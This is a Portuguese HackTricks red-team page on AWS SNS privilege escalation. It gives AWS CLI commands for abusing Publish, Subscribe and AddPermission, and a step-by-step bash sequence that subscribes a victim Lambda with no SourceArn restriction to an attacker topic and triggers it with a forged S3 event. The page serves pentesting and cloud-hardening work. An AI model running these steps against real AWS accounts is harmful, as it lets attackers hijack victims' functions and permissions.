AWS - SNS Privesc

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SNS

Para mais informações, consulte:

AWS - SNS Enum

sns:Publish

Um atacante poderia enviar mensagens maliciosas ou indesejadas ao tópico SNS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.

bash
aws sns publish --topic-arn <value> --message <value>

Impacto Potencial: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.

sns:Subscribe

Um atacante poderia se inscrever em um tópico SNS, potencialmente obtendo acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicações que dependem do tópico.

bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

Impacto Potencial: Acesso não autorizado a mensagens (informações sensíveis), interrupção de serviço para aplicações que dependem do tópico afetado.

sns:AddPermission

Um atacante poderia conceder a usuários ou serviços não autorizados acesso a um tópico SNS, potencialmente obtendo permissões adicionais.

bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Impacto Potencial: Acesso não autorizado ao tópico, exposição de mensagens ou manipulação do tópico por usuários ou serviços não autorizados, interrupção do funcionamento normal de aplicações que dependem do tópico.

Invocar uma Lambda abusando de permissão curinga do SNS (no SourceArn)

Se a política basada em recurso da função Lambda permitir que sns.amazonaws.com a invoque sem restringir o tópico de origem (SourceArn), qualquer tópico SNS (mesmo em outra conta) pode se inscrever e acionar a função. Um atacante com permissões básicas de SNS pode forçar a Lambda a executar sob sua IAM role com entrada controlada pelo atacante.

tip

TODO: Isso realmente pode ser feito entre contas?

Precondições

  • A política da Lambda vítima contém uma declaração como abaixo, sem condição SourceArn:
json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

Etapas de abuso (mesma conta ou entre contas)

bash
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

Impacto Potencial: A Lambda vítima é executada com seu IAM role, processando entrada controlada pelo atacante. Isso pode ser abusado para fazer a função executar ações sensíveis (por exemplo, write to S3, access secrets, modify resources) dependendo das suas permissões.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks